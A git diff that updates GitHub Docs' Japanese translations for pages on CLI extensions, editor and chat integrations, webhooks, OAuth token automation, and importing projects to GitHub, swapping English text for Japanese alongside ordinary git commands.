+1. Write your script in the executable file. 例:
 
   ```bash
   #!/usr/bin/env bash
@@ -188,7 +188,7 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
 
 1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`.
 
-1. In the directory you created, add some source code. For example:
+1. In the directory you created, add some source code. 例:
 
     ```go
     package main
@@ -253,15 +253,9 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
 
   {% endnote %}
 
-  Releases can be created from the command line. For example:
+  Releases can be created from the command line. 例:
 
-  ```shell
-  git tag v1.0.0
-  git push origin v1.0.0
-  GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe
-  GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64
-  GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64
-  gh release create v1.0.0 ./*amd64*
+  ```shell git tag v1.0.0 git push origin v1.0.0 GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64 GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64 gh release create v1.0.0 ./*amd64*
 
 1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)."
 
@@ -276,6 +270,6 @@ Consider adding the [gh-extension-precompile](https://github.com/cli/gh-extensio
 
 Consider using [go-gh](https://github.com/cli/go-gh), a Go library that exposes pieces of `gh` functionality for use in extensions.
 
-## Next steps
+## 次のステップ
 
 To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension).
diff --git a/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md b/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
index 621628a074..fd87bf3a75 100644
--- a/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
+++ b/translations/ja-JP/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub extensions and integrations
-intro: 'Use {% data variables.product.product_name %} extensions to work seamlessly in {% data variables.product.product_name %} repositories within third-party applications.'
+title: GitHub の機能拡張およびインテグレーション
+intro: 'サードパーティアプリケーションの中でシームレスに{% data variables.product.product_name %}リポジトリ内で作業をするために、{% data variables.product.product_name %}機能拡張を使ってください。'
 redirect_from:
   - /articles/about-github-extensions-for-third-party-applications
   - /articles/github-extensions-and-integrations
@@ -10,42 +10,43 @@ versions:
   ghec: '*'
 shortTitle: Extensions & integrations
 ---
-## Editor tools
 
-You can connect to {% data variables.product.product_name %} repositories within third-party editor tools, such as Atom, Unity, and Visual Studio.
+## エディタツール
+
+Atom、Unity、Visual Studio などのサードパーティのエディタツール内で {% data variables.product.product_name %} リポジトリに接続できます。
 
 ### {% data variables.product.product_name %} for Atom
 
-With the {% data variables.product.product_name %} for Atom extension, you can commit, push, pull, resolve merge conflicts, and more from the Atom editor. For more information, see the official [{% data variables.product.product_name %} for Atom site](https://github.atom.io/).
+{% data variables.product.product_name %} for Atom機能拡張を使うと、Atomエディタからコミット、プッシュ、プル、マージコンフリクトの解決などが行えます。 詳しい情報については公式の[{% data variables.product.product_name %} for Atomサイト](https://github.atom.io/)を参照してください。
 
 ### {% data variables.product.product_name %} for Unity
 
-With the {% data variables.product.product_name %} for Unity editor extension, you can develop on Unity, the open source game development platform, and see your work on {% data variables.product.product_name %}. For more information, see the official Unity editor extension [site](https://unity.github.com/) or the [documentation](https://github.com/github-for-unity/Unity/tree/master/docs).
+{% data variables.product.product_name %} for Unityエディタ機能拡張を使うと、オープンソースのゲーム開発プラットフォームであるUnity上で開発を行い、作業内容を{% data variables.product.product_name %}上で見ることができます。 詳しい情報については公式のUnityエディタ機能拡張[サイト](https://unity.github.com/)あるいは[ドキュメンテーション](https://github.com/github-for-unity/Unity/tree/master/docs)を参照してください。
 
 ### {% data variables.product.product_name %} for Visual Studio
 
-With the {% data variables.product.product_name %} for Visual Studio extension, you can work in {% data variables.product.product_name %} repositories without leaving Visual Studio. For more information, see the official Visual Studio extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs).
+{% data variables.product.product_name %} for Visual Studio機能拡張を使うと、Visual Studioから離れることなく{% data variables.product.product_name %}リポジトリ内で作業できます。 詳しい情報については、公式のVisual Studio機能拡張の[サイト](https://visualstudio.github.com/)あるいは[ドキュメンテーション](https://github.com/github/VisualStudio/tree/master/docs)を参照してください。
 
 ### {% data variables.product.prodname_dotcom %} for Visual Studio Code
 
-With the {% data variables.product.prodname_dotcom %} for Visual Studio Code extension, you can review and manage {% data variables.product.product_name %} pull requests in Visual Studio Code. For more information, see the official Visual Studio Code extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github).
+{% data variables.product.prodname_dotcom %} for Visual Studio Code 機能拡張を使うと、Visual Studio Code の {% data variables.product.product_name %} プルリクエストをレビューおよび管理できます。 詳しい情報については、公式の Visual Studio Code 機能拡張[サイト](https://vscode.github.com/)または[ドキュメンテーション](https://github.com/Microsoft/vscode-pull-request-github)を参照してください。
 
-## Project management tools
+## プロジェクト管理ツール
 
 You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party project management tools, such as Jira.
 
-### Jira Cloud and {% data variables.product.product_name %}.com integration
+### Jira Cloud と {% data variables.product.product_name %}.com の統合
 
-You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace.
+Jira Cloud を個人または Organization のアカウントに統合すると、コミットとプルリクエストをスキャンし、メンションされている JIRA の Issue で、関連するメタデータとハイパーリンクを作成できます。 詳細については、Marketplace の[Jira 統合アプリケーション](https://github.com/marketplace/jira-software-github)にアクセスしてください。
 
-## Team communication tools
+## チームコミュニケーションツール
 
 You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams.
 
-### Slack and {% data variables.product.product_name %} integration
+### Slack と {% data variables.product.product_name %} の統合
 
-You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, releases, deployment reviews and deployment statuses. You can also perform activities like close or open issues, and provide rich references to issues and pull requests without leaving Slack. For more information, visit the [Slack integration app](https://github.com/marketplace/slack-github) in the marketplace.
+You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, releases, deployment reviews and deployment statuses. You can also perform activities like close or open issues, and provide rich references to issues and pull requests without leaving Slack. 詳細については、Marketplace の[Slack 統合アプリケーション](https://github.com/marketplace/slack-github)にアクセスしてください。
 
-### Microsoft Teams and {% data variables.product.product_name %} integration
+### Microsoft Teams と {% data variables.product.product_name %} の統合
 
-You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, deployment reviews and deployment statuses. You can also perform activities like close or open issues, comment on your issues and pull requests, and provide rich references to issues and pull requests without leaving Microsoft Teams. For more information, visit the [Microsoft Teams integration app](https://appsource.microsoft.com/en-us/product/office/WA200002077) in Microsoft AppSource.
+You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, deployment reviews and deployment statuses. You can also perform activities like close or open issues, comment on your issues and pull requests, and provide rich references to issues and pull requests without leaving Microsoft Teams. 詳細については、Microsoft AppSource の [Microsoft Teams 統合アプリケーション](https://appsource.microsoft.com/en-us/product/office/WA200002077)にアクセスしてください。
diff --git a/translations/ja-JP/content/github/extending-github/about-webhooks.md b/translations/ja-JP/content/github/extending-github/about-webhooks.md
index 3ebe391ec7..edb2dffb96 100644
--- a/translations/ja-JP/content/github/extending-github/about-webhooks.md
+++ b/translations/ja-JP/content/github/extending-github/about-webhooks.md
@@ -1,11 +1,11 @@
 ---
-title: About webhooks
+title: webhook について
 redirect_from:
   - /post-receive-hooks
   - /articles/post-receive-hooks
   - /articles/creating-webhooks
   - /articles/about-webhooks
-intro: Webhooks provide a way for notifications to be delivered to an external web server whenever certain actions occur on a repository or organization.
+intro: webhook は、特定のアクションがリポジトリあるいは Organization で生じたときに外部の Web サーバーへ通知を配信する方法を提供します。
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,17 +15,17 @@ versions:
 
 {% tip %}
 
-**Tip:** {% data reusables.organizations.owners-and-admins-can %} manage webhooks for an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**ヒント:** {% data reusables.organizations.owners-and-admins-can %}は Organization の webhook を管理します。 {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
-Webhooks can be triggered whenever a variety of actions are performed on a repository or an organization. For example, you can configure a webhook to execute whenever:
+webhook は、リポジトリあるいは Organization にさまざまなアクションが行われたときに動作します。 たとえば以下のような場合に動作するよう webhook を設定できます:
 
-* A repository is pushed to
-* A pull request is opened
-* A {% data variables.product.prodname_pages %} site is built
-* A new member is added to a team
+* リポジトリへのプッシュ
+* プルリクエストのオープン
+* {% data variables.product.prodname_pages %}サイトの構築
+* Team への新しいメンバーの追加
 
 Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you can make these webhooks update an external issue tracker, trigger CI builds, update a backup mirror, or even deploy to your production server.
 
-To set up a new webhook, you'll need access to an external server and familiarity with the technical procedures involved. For help on building a webhook, including a full list of actions you can associate with, see "[Webhooks](/webhooks)."
+新しい webhook をセットアップするには、外部サーバーにアクセスでき、関連する技術的な手順に精通している必要があります。 関連付けられるアクションの完全なリストを含む、webhook の作成に関するヘルプについては、「[ webhook](/webhooks)」を参照してください。
diff --git a/translations/ja-JP/content/github/extending-github/git-automation-with-oauth-tokens.md b/translations/ja-JP/content/github/extending-github/git-automation-with-oauth-tokens.md
index e22725a212..0d98cc23e6 100644
--- a/translations/ja-JP/content/github/extending-github/git-automation-with-oauth-tokens.md
+++ b/translations/ja-JP/content/github/extending-github/git-automation-with-oauth-tokens.md
@@ -1,10 +1,10 @@
 ---
-title: Git automation with OAuth tokens
+title: OAuth トークンを使用した Git の自動化
 redirect_from:
   - /articles/git-over-https-using-oauth-token
   - /articles/git-over-http-using-oauth-token
   - /articles/git-automation-with-oauth-tokens
-intro: 'You can use OAuth tokens to interact with {% data variables.product.product_name %} via automated scripts.'
+intro: 'OAuthトークンを使用して、自動化されたスクリプトを介して {% data variables.product.product_name %} を操作できます。'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,36 +13,36 @@ versions:
 shortTitle: Automate with OAuth tokens
 ---
 
-## Step 1: Get an OAuth token
+## ステップ 1: OAuth トークンを取得する
 
-Create a personal access token on your application settings page. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+アプリケーション設定ページで個人アクセストークンを作成します。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。
 
 {% tip %}
 
 {% ifversion fpt or ghec %}
-**Tips:**
-- You must verify your email address before you can create a personal access token. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+**参考:**
+- 個人アクセストークンを作成する前に、メールアドレスを確認する必要があります。 詳細は「[メールアドレスを検証する](/articles/verifying-your-email-address)」を参照してください。
 - {% data reusables.user_settings.review_oauth_tokens_tip %}
 {% else %}
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**ヒント:** {% data reusables.user_settings.review_oauth_tokens_tip %}
 {% endif %}
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-## Step 2: Clone a repository
+## ステップ 2: リポジトリをクローンする
 
 {% data reusables.command_line.providing-token-as-password %}
 
-To avoid these prompts, you can use Git password caching. For information, see "[Caching your GitHub credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+これらのプロンプトを回避するには、Git パスワードキャッシュを使用できます。 詳しい情報については、「[Git に GitHub 認証情報をキャッシュする](/github/getting-started-with-github/caching-your-github-credentials-in-git)」を参照してください。
 
 {% warning %}
 
-**Warning**: Tokens have read/write access and should be treated like passwords. If you enter your token into the clone URL when cloning or adding a remote, Git writes it to your _.git/config_ file in plain text, which is a security risk.
+**警告**: トークンには読み取り/書き込みアクセス権限があるため、パスワードのように慎重に扱う必要があります。 リモートをクローンまたは追加する際にクローン URL にトークンを入力すると、Git によって _.git/config_ ファイルにプレーンテキストで書き込まれます。これはセキュリティ上のリスクとなります。
 
 {% endwarning %}
 
-## Further reading
+## 参考リンク
 
-- "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps)"
+- 「[OAuth App を認証する](/developers/apps/authorizing-oauth-apps)」
diff --git a/translations/ja-JP/content/github/extending-github/index.md b/translations/ja-JP/content/github/extending-github/index.md
index 79a03ace00..075509f653 100644
--- a/translations/ja-JP/content/github/extending-github/index.md
+++ b/translations/ja-JP/content/github/extending-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Extending GitHub
+title: GitHub を拡張する
 redirect_from:
   - /categories/86/articles
   - /categories/automation
diff --git a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
index 575a38144d..44be668a86 100644
--- a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
+++ b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Adding an existing project to GitHub using the command line
-intro: 'Putting your existing work on {% data variables.product.product_name %} can let you share and collaborate in lots of great ways.'
+title: コマンドラインを使った GitHub への既存のプロジェクトの追加
+intro: '既存の作業を {% data variables.product.product_name %}に置けば、多くの素晴らしい方法で共有とコラボレーションができます。'
 redirect_from:
   - /articles/add-an-existing-project-to-github
   - /articles/adding-an-existing-project-to-github-using-the-command-line
@@ -17,7 +17,7 @@ shortTitle: Add a project locally
 
 {% tip %}
 
-**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*.
+**ヒント:** ポイントアンドクリック型のユーザインターフェースに慣れている場合は、プロジェクトを {% data variables.product.prodname_desktop %}で追加してみてください。 詳しい情報については *{% data variables.product.prodname_desktop %}ヘルプ* 中の[ローカルコンピュータから GitHub Desktop へのリポジトリの追加](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)を参照してください。
 
 {% endtip %}
 
@@ -25,23 +25,23 @@ shortTitle: Add a project locally
 
 ## Adding a project to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %}
 
-{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+{% data variables.product.prodname_cli %} は、コンピューターのコマンドラインから {% data variables.product.prodname_dotcom %} を使用するためのオープンソースツールです。 {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
 
 1. In the command line, navigate to the root directory of your project.
-1. Initialize the local directory as a Git repository.
+1. ローカルディレクトリを Git リポジトリとして初期化します。
 
     ```shell
     git init -b main
     ```
 
-1. Stage and commit all the files in your project 
+1. Stage and commit all the files in your project
 
    ```shell
    git add . && git commit -m "initial commit"
    ```
 
 1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`.
- 
+
 1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch.
 
 1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
@@ -50,115 +50,109 @@ shortTitle: Add a project locally
 
 {% mac %}
 
-1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. {% data variables.product.product_location %}上で[新しいリポジトリを作成](/repositories/creating-and-managing-repositories/creating-a-new-repository)します。 エラーを避けるため、新しいリポジトリは*README*、ライセンス、あるいは `gitignore` で初期化しないでください。 これらのファイルは、プロジェクトを {% data variables.product.product_name %}にプッシュした後で追加できます。 ![[Create New Repository] ドロップダウン](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. ワーキングディレクトリをローカルプロジェクトに変更します。
+4. ローカルディレクトリを Git リポジトリとして初期化します。
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. ファイルを新しいローカルリポジトリに追加します。 これで、それらのファイルが最初のコミットに備えてステージングされます。
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # ローカルリポジトリにファイルを追加し、コミットに備えてステージします。 {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. ローカルリポジトリでステージングしたファイルをコミットします。
   ```shell
   $ git commit -m "First commit"
-  # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  # 追跡された変更をコミットし、リモートリポジトリへのプッシュに備えます。 {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. ターミナルで、ローカルリポジトリがプッシュされる[リモートリポジトリの URL を追加](/github/getting-started-with-github/managing-remote-repositories)してください。
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
-  # Sets the new remote
+  # 新しいリモートを設定する
   $ git remote -v
-  # Verifies the new remote URL
+  # 新しいリモート URL を検証する
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. {% data variables.product.product_location %} へ、ローカルリポジトリの[変更をプッシュ](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)します。
   ```shell
   $ git push -u origin main
-  # Pushes the changes in your local repository up to the remote repository you specified as the origin
+  # ローカルリポジトリの変更を、origin として指定したリモートリポジトリにプッシュする
   ```
 
 {% endmac %}
 
 {% windows %}
 
-1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. {% data variables.product.product_location %}上で[新しいリポジトリを作成](/articles/creating-a-new-repository)します。 エラーを避けるため、新しいリポジトリは*README*、ライセンス、あるいは `gitignore` で初期化しないでください。 これらのファイルは、プロジェクトを {% data variables.product.product_name %}にプッシュした後で追加できます。 ![[Create New Repository] ドロップダウン](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. ワーキングディレクトリをローカルプロジェクトに変更します。
+4. ローカルディレクトリを Git リポジトリとして初期化します。
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. ファイルを新しいローカルリポジトリに追加します。 これで、それらのファイルが最初のコミットに備えてステージングされます。
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # ローカルリポジトリにファイルを追加し、コミットに備えてステージします。 {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. ローカルリポジトリでステージングしたファイルをコミットします。
   ```shell
   $ git commit -m "First commit"
-  # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  # 追跡された変更をコミットし、リモートリポジトリへのプッシュに備えます。 {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. コマンドプロンプトで、ローカルリポジトリのプッシュ先となる[リモートリポジトリの URL を追加](/github/getting-started-with-github/managing-remote-repositories)します。
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
-  # Sets the new remote
+  # 新しいリモートを設定する
   $ git remote -v
-  # Verifies the new remote URL
+  # 新しいリモート URL を検証する
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. {% data variables.product.product_location %} へ、ローカルリポジトリの[変更をプッシュ](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)します。
   ```shell
   $ git push origin main
-  # Pushes the changes in your local repository up to the remote repository you specified as the origin
+  # ローカルリポジトリの変更を、origin として指定したリモートリポジトリにプッシュする
   ```
 
 {% endwindows %}
 
 {% linux %}
 
-1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. {% data variables.product.product_location %}上で[新しいリポジトリを作成](/articles/creating-a-new-repository)します。 エラーを避けるため、新しいリポジトリは*README*、ライセンス、あるいは `gitignore` で初期化しないでください。 これらのファイルは、プロジェクトを {% data variables.product.product_name %}にプッシュした後で追加できます。 ![[Create New Repository] ドロップダウン](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. ワーキングディレクトリをローカルプロジェクトに変更します。
+4. ローカルディレクトリを Git リポジトリとして初期化します。
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. ファイルを新しいローカルリポジトリに追加します。 これで、それらのファイルが最初のコミットに備えてステージングされます。
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # ローカルリポジトリにファイルを追加し、コミットに備えてステージします。 {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. ローカルリポジトリでステージングしたファイルをコミットします。
   ```shell
   $ git commit -m "First commit"
-  # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  # 追跡された変更をコミットし、リモートリポジトリへのプッシュに備えます。 {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. ターミナルで、ローカルリポジトリがプッシュされる[リモートリポジトリの URL を追加](/github/getting-started-with-github/managing-remote-repositories)してください。
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
-  # Sets the new remote
+  # 新しいリモートを設定する
   $ git remote -v
-  # Verifies the new remote URL
+  # 新しいリモート URL を検証する
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. {% data variables.product.product_location %} へ、ローカルリポジトリの[変更をプッシュ](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)します。
   ```shell
   $ git push origin main
-  # Pushes the changes in your local repository up to the remote repository you specified as the origin
+  # ローカルリポジトリの変更を、origin として指定したリモートリポジトリにプッシュする
   ```
 
 {% endlinux %}
 
-## Further reading
+## 参考リンク
 
-- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)"
+- [リポジトリへのファイルの追加](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)
diff --git a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
index a559e7393b..259ed02777 100644
--- a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
+++ b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
@@ -1,6 +1,6 @@
 ---
-title: Importing a repository with GitHub Importer
-intro: 'If you have a project hosted on another version control system, you can automatically import it to GitHub using the GitHub Importer tool.'
+title: GitHub Importer でリポジトリをインポートする
+intro: 他のバージョン管理システムにホストされているプロジェクトがある場合は、GitHub Importer ツールを使って自動的に GitHub にインポートすることができます。
 redirect_from:
   - /articles/importing-from-other-version-control-systems-to-github
   - /articles/importing-a-repository-with-github-importer
@@ -10,35 +10,28 @@ versions:
   ghec: '*'
 shortTitle: Use GitHub Importer
 ---
+
 {% tip %}
 
-**Tip:** GitHub Importer is not suitable for all imports. For example, if your existing code is hosted on a private network, our tool won't be able to access it. In these cases, we recommend [importing using the command line](/articles/importing-a-git-repository-using-the-command-line) for Git repositories or an external [source code migration tool](/articles/source-code-migration-tools) for projects imported from other version control systems.
+**ヒント:** GitHub Importer は、すべてのインポートに適しているわけではありません。 たとえば、既存のコードがプライベート ネットワークにホストされている場合、GitHub Importer はそれにアクセスできません。 このような場合、Git リポジトリであれば[コマンドラインを使用したインポート](/articles/importing-a-git-repository-using-the-command-line)、他のバージョン管理システムからインポートするプロジェクトであれば外部の[ソース コード移行ツール](/articles/source-code-migration-tools)をおすすめします。
 
 {% endtip %}
 
-If you'd like to match the commits in your repository to the authors' GitHub user accounts during the import, make sure every contributor to your repository has a GitHub account before you begin the import.
+インポート中に、自分のリポジトリでのコミットを作者の GitHub ユーザ アカウントに一致させたい場合は、インポートを始める前に、リポジトリのコントリビューター全員が GitHub アカウントを持っていることを確認してください。
 
 {% data reusables.repositories.repo-size-limit %}
 
-1. In the upper-right corner of any page, click {% octicon "plus" aria-label="Plus symbol" %}, and then click **Import repository**.
-![Import repository option in new repository menu](/assets/images/help/importer/import-repository.png)
-2. Under "Your old repository's clone URL", type the URL of the project you want to import.
-![Text field for URL of imported repository](/assets/images/help/importer/import-url.png)
-3. Choose your user account or an organization to own the repository, then type a name for the repository on GitHub.
-![Repository owner menu and repository name field](/assets/images/help/importer/import-repo-owner-name.png)
-4. Specify whether the new repository should be *public* or *private*. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
-![Public or private repository radio buttons](/assets/images/help/importer/import-public-or-private.png)
